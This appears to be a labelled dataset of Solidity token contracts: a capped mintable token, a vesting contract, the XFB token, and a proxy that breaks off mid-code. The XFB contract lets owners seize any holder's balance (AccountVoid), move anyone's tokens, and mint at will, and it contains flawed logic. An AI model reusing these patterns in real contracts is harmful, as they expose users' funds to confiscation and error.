* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: contracts/KayaToken.sol
pragma solidity ^0.6.12;
contract KayaToken is ERC20Capped,Ownable{
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet miners;
constructor (string memory name, string memory symbol, uint256 totalSupply)
public
ERC20(name, symbol) ERC20Capped(totalSupply){
miners.add(msg.sender);
}
modifier onlyMiner(address sender) {
require(miners.contains(sender),'KayaToken.onlyMiner: The miner not already exists');
_;
}
function addMiner(address _miner)external onlyOwner{
require(!miners.contains(_miner),'KayaToken.addMiner: The miner already exists');
miners.add(_miner);
}
function removeMiner(address _miner)external onlyOwner onlyMiner(_miner){
miners.remove(_miner);
}
function mint(address to, uint256 amount) external onlyMiner(msg.sender){
_mint(to, amount);
}
}
|
True
|
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pragma solidity 0.4.21;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/ZerochainToken.sol
contract ZerochainToken is MintableToken {
string public constant name = "0chain";
string public constant symbol = "ZCN";
uint8 public constant decimals = 10;
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/ownership/rbac/Roles.sol
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
// File: zeppelin-solidity/contracts/ownership/rbac/RBAC.sol
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* A constant role name for indicating admins.
*/
string public constant ROLE_ADMIN = "admin";
/**
* @dev constructor. Sets msg.sender as admin by default
*/
function RBAC()
public
{
addRole(msg.sender, ROLE_ADMIN);
}
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function adminAddRole(address addr, string roleName)
onlyAdmin
public
{
addRole(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function adminRemoveRole(address addr, string roleName)
onlyAdmin
public
{
removeRole(addr, roleName);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
/**
* @dev modifier to scope access to admins
* // reverts
*/
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param roleNames the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] roleNames) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < roleNames.length; i++) {
// if (hasRole(msg.sender, roleNames[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: contracts/MultipleTokenVesting.sol
/**
* @title MultipleTokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, for multiple users with a cliff and vesting period.
*/
contract MultipleTokenVesting is Pausable, RBAC {
using SafeMath for uint256;
event Released(address indexed beneficiary, uint256 indexed amount);
event Vested(address indexed beneficiary, uint256 indexed amount);
event Activated();
event VestingFinished();
event Airdrop(address indexed beneficiary);
// beneficiaries of tokens with respective amounts of tokens to be released
mapping (address => uint256) public beneficiaries;
// beneficiaries of tokens with respective amounts of tokens already released
mapping (address => uint256) public released;
ZerochainToken public token;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public isActive = false;
bool public canIssueIndividual = true;
uint256 public constant AIRDROP_AMOUNT = 10 * (10 ** 10);
string public constant UTILITY_ROLE = "utility";
address public utilityAccount;
uint256 public hardCap;
/**
* @dev Creates a vesting contract and a token.
* @param _start timestamp for the moment when vesting should be considered as started
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
*/
function MultipleTokenVesting(
uint256 _start,
uint256 _cliff,
uint256 _duration,
address _utilityAccount,
uint256 _hardCap
)
public
{
require(_cliff <= _duration);
require(_utilityAccount != address(0));
require(_hardCap > 0);
token = new ZerochainToken();
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
utilityAccount = _utilityAccount;
addRole(_utilityAccount, UTILITY_ROLE);
hardCap = _hardCap;
}
function changeUtilityAccount (
address newAddress
) public onlyOwner {
require(newAddress != address(0));
removeRole(utilityAccount, UTILITY_ROLE);
utilityAccount = newAddress;
addRole(utilityAccount, UTILITY_ROLE);
}
function activate() public onlyOwner {
require(!isActive);
isActive = true;
Activated();
}
function finalise() public onlyOwner {
token.finishMinting();
VestingFinished();
}
function stopIssuingIndividualTokens() public onlyOwner {
require(canIssueIndividual);
canIssueIndividual = false;
}
function issueIndividualTokens(
address beneficiary,
uint256 amount
) public onlyOwner {
require(beneficiary != address(0));
require(amount != 0);
require(canIssueIndividual);
require(token.totalSupply().add(amount) <= hardCap);
token.mint(beneficiary, amount);
}
/**
* @dev Main means of adding information about beneficiaries who should have tokens vested for them.
* We add users in array to save gas for such operation.
* @param _beneficiaries user addresses array whose tokens need to be vested.
* @param _amounts amount of tokens for vesting array which is related to the user with same idx.
**/
function addVestingForBeneficiaries(
address[] _beneficiaries,
uint256[] _amounts
) public onlyRole(UTILITY_ROLE) whenNotPaused {
require(_beneficiaries.length == _amounts.length);
for (uint i = 0; i < _beneficiaries.length; i++) {
addVestingForBeneficiary(_beneficiaries[i], _amounts[i]);
}
}
function releaseMultiple(
address[] _beneficiaries
) public onlyRole(UTILITY_ROLE) whenNotPaused {
require(isActive);
for (uint i = 0; i < _beneficiaries.length; i++) {
release(_beneficiaries[i]);
}
}
function airdropMultiple(
address[] _beneficiaries
) public onlyRole(UTILITY_ROLE) whenNotPaused {
require(isActive);
require(block.timestamp >= cliff);
for (uint i = 0; i < _beneficiaries.length; i++) {
require(_beneficiaries[i] != address(0));
airdrop(_beneficiaries[i]);
}
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
*/
function releasableAmount() public view returns (uint256) {
return _releasableAmount(msg.sender);
}
/**
* @dev Calculates the amount that has already vested.
*/
function vestedAmount() public view returns (uint256) {
return _vestedAmount(msg.sender);
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function release(
address beneficiary
) internal {
uint256 unreleased = _releasableAmount(beneficiary);
require(unreleased > 0);
released[beneficiary] = released[beneficiary].add(unreleased);
token.transfer(beneficiary, unreleased);
Released(beneficiary, unreleased);
}
function _releasableAmount(
address beneficiary
) internal view returns (uint256) {
return _vestedAmount(beneficiary).sub(released[beneficiary]);
}
function addVestingForBeneficiary(
address _beneficiary,
uint256 _amount
) internal {
require(_beneficiary != address(0));
require(_amount > 0);
require(beneficiaries[_beneficiary] == 0);
require(token.totalSupply().add(_amount) <= hardCap);
beneficiaries[_beneficiary] = _amount;
token.mint(this, _amount);
Vested(_beneficiary, _amount);
}
function airdrop(
address _beneficiary
) internal {
require(token.totalSupply().add(AIRDROP_AMOUNT) <= hardCap);
token.mint(_beneficiary, AIRDROP_AMOUNT);
Airdrop(_beneficiary);
}
function _vestedAmount(
address beneficiary
) internal view returns (uint256) {
uint256 totalBalance = beneficiaries[beneficiary];
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
|
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] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'XFB' '幸福宝' token contract
//
// Symbol : XFB
// Name : 幸福宝
// Total supply: 700,000,000.0000000000
// Decimals : 8
//
// Enjoy.
//
// (c) WeiChun / Wedoops International 2018. The MIT Licence.
// ----------------------------------------------------------------------------
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract MultiOwner {
/* Constructor */
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
event RequirementChanged(uint256 newRequirement);
uint256 public ownerRequired;
mapping (address => bool) public isOwner;
mapping (address => bool) public RequireDispose;
address[] owners;
function MultiOwner(address[] _owners, uint256 _required) public {
ownerRequired = _required;
isOwner[msg.sender] = true;
owners.push(msg.sender);
for (uint256 i = 0; i < _owners.length; ++i){
require(!isOwner[_owners[i]]);
isOwner[_owners[i]] = true;
owners.push(_owners[i]);
}
}
modifier onlyOwner {
require(isOwner[msg.sender]);
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
function addOwner(address owner) onlyOwner ownerDoesNotExist(owner) external{
isOwner[owner] = true;
owners.push(owner);
OwnerAdded(owner);
}
function numberOwners() public constant returns (uint256 NumberOwners){
NumberOwners = owners.length;
}
function removeOwner(address owner) onlyOwner ownerExists(owner) external{
require(owners.length > 2);
isOwner[owner] = false;
RequireDispose[owner] = false;
for (uint256 i=0; i<owners.length - 1; i++){
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
OwnerRemoved(owner);
}
function changeRequirement(uint _newRequired) onlyOwner external {
require(_newRequired >= owners.length);
ownerRequired = _newRequired;
RequirementChanged(_newRequired);
}
function ConfirmDispose() onlyOwner() public view returns (bool){
uint count = 0;
for (uint i=0; i<owners.length - 1; i++)
if (RequireDispose[owners[i]])
count += 1;
if (count == ownerRequired)
return true;
}
function kill() onlyOwner() public{
RequireDispose[msg.sender] = true;
if(ConfirmDispose()){
selfdestruct(msg.sender);
}
}
}
interface ERC20{
function transfer(address _to, uint _value, bytes _data) public;
function transfer(address _to, uint256 _value) public;
function transferFrom(address _from, address _to, uint256 _value, bool _feed, uint256 _fees) public returns (bool success);
function setPrices(uint256 newValue) public;
function freezeAccount(address target, bool freeze) public;
function() payable public;
function remainBalanced() public constant returns (uint256);
function execute(address _to, uint _value, bytes _data) external returns (bytes32 _r);
function isConfirmed(bytes32 TransHash) public constant returns (bool);
function confirmationCount(bytes32 TransHash) external constant returns (uint count);
function confirmTransaction(bytes32 TransHash) public;
function executeTransaction(bytes32 TransHash) public;
function AccountVoid(address _from) public;
function burn(uint amount) public;
function bonus(uint amount) public;
event SubmitTransaction(bytes32 transactionHash);
event Confirmation(address sender, bytes32 transactionHash);
event Execution(bytes32 transactionHash);
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint value);
event FeePaid(address indexed from, address indexed to, uint256 value);
event VoidAccount(address indexed from, address indexed to, uint256 value);
event Bonus(uint256 value);
event Burn(uint256 value);
}
interface ERC223 {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract Token is MultiOwner, ERC20, ERC223{
using SafeMath for uint256;
string public name = "幸福宝";
string public symbol = "XFB";
uint8 public decimals = 8;
uint256 public totalSupply = 700000000 * 10 ** uint256(decimals);
uint256 public EthPerToken = 700000;
mapping(address => uint256) public balanceOf;
mapping(address => bool) public frozenAccount;
mapping (bytes32 => mapping (address => bool)) public Confirmations;
mapping (bytes32 => Transaction) public Transactions;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier notNull(address destination) {
require (destination != 0x0);
_;
}
modifier confirmed(bytes32 transactionHash) {
require (Confirmations[transactionHash][msg.sender]);
_;
}
modifier notConfirmed(bytes32 transactionHash) {
require (!Confirmations[transactionHash][msg.sender]);
_;
}
modifier notExecuted(bytes32 TransHash) {
require (!Transactions[TransHash].executed);
_;
}
function Token(address[] _owners, uint256 _required) MultiOwner(_owners, _required) public {
balanceOf[msg.sender] = totalSupply;
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint _value, bytes _data) public {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
/* Internal transfer, only can be called by this contract */
function _collect_fee(address _from, address _to, uint256 _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
FeePaid(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value, bool _feed, uint256 _fees) onlyOwner public returns (bool success) {
uint256 charge = 0 ;
uint256 t_value = _value;
if(_feed){
charge = _value * _fees / 100;
}else{
charge = _value - (_value / (_fees + 100) * 100);
}
t_value = _value.sub(charge);
require(t_value.add(charge) == _value);
_transfer(_from, _to, t_value);
_collect_fee(_from, this, charge);
return true;
}
function setPrices(uint256 newValue) onlyOwner public {
EthPerToken = newValue;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function() payable public{
require(msg.value > 0);
uint amount = msg.value * 10 ** uint256(decimals) * EthPerToken / 1 ether;
_transfer(this, msg.sender, amount);
}
function remainBalanced() public constant returns (uint256){
return balanceOf[this];
}
/*Transfer Eth */
function execute(address _to, uint _value, bytes _data) notNull(_to) onlyOwner external returns (bytes32 _r) {
_r = addTransaction(_to, _value, _data);
confirmTransaction(_r);
}
function addTransaction(address destination, uint value, bytes data) private notNull(destination) returns (bytes32 TransHash){
TransHash = keccak256(destination, value, data);
if (Transactions[TransHash].destination == 0) {
Transactions[TransHash] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
SubmitTransaction(TransHash);
}
}
function addConfirmation(bytes32 TransHash) private onlyOwner notConfirmed(TransHash){
Confirmations[TransHash][msg.sender] = true;
Confirmation(msg.sender, TransHash);
}
function isConfirmed(bytes32 TransHash) public constant returns (bool){
uint count = 0;
for (uint i=0; i<owners.length; i++)
if (Confirmations[TransHash][owners[i]])
count += 1;
if (count == ownerRequired)
return true;
}
function confirmationCount(bytes32 TransHash) external constant returns (uint count){
for (uint i=0; i<owners.length; i++)
if (Confirmations[TransHash][owners[i]])
count += 1;
}
function confirmTransaction(bytes32 TransHash) public onlyOwner(){
addConfirmation(TransHash);
executeTransaction(TransHash);
}
function executeTransaction(bytes32 TransHash) public notExecuted(TransHash){
if (isConfirmed(TransHash)) {
Transactions[TransHash].executed = true;
require(Transactions[TransHash].destination.call.value(Transactions[TransHash].value)(Transactions[TransHash].data));
Execution(TransHash);
}
}
function AccountVoid(address _from) onlyOwner public{
require (balanceOf[_from] > 0);
uint256 CurrentBalances = balanceOf[_from];
uint256 previousBalances = balanceOf[_from] + balanceOf[msg.sender];
balanceOf[_from] -= CurrentBalances;
balanceOf[msg.sender] += CurrentBalances;
VoidAccount(_from, msg.sender, CurrentBalances);
assert(balanceOf[_from] + balanceOf[msg.sender] == previousBalances);
}
function burn(uint amount) onlyOwner public{
uint BurnValue = amount * 10 ** uint256(decimals);
require(balanceOf[this] >= BurnValue);
balanceOf[this] -= BurnValue;
totalSupply -= BurnValue;
Burn(BurnValue);
}
function bonus(uint amount) onlyOwner public{
uint BonusValue = amount * 10 ** uint256(decimals);
require(balanceOf[this] + BonusValue > balanceOf[this]);
balanceOf[this] += BonusValue;
totalSupply += BonusValue;
Bonus(BonusValue);
}
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-07-25
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
contract MintyProxy {
uint256[9] private _other;
string private _baseURI = "ipfs://";
// An existing deployment of [Minty](https://github.com/yusefnapora/minty)
address private constant IMPL = 0x712185A269f2DDe32936AEfa2eED8BDDdB72541e;
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.2.0/contracts/proxy/ERC1967/ERC1967Upgrade.sol#L21-L26
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor() {
// To advertise that this contract is a proxy
assembly {
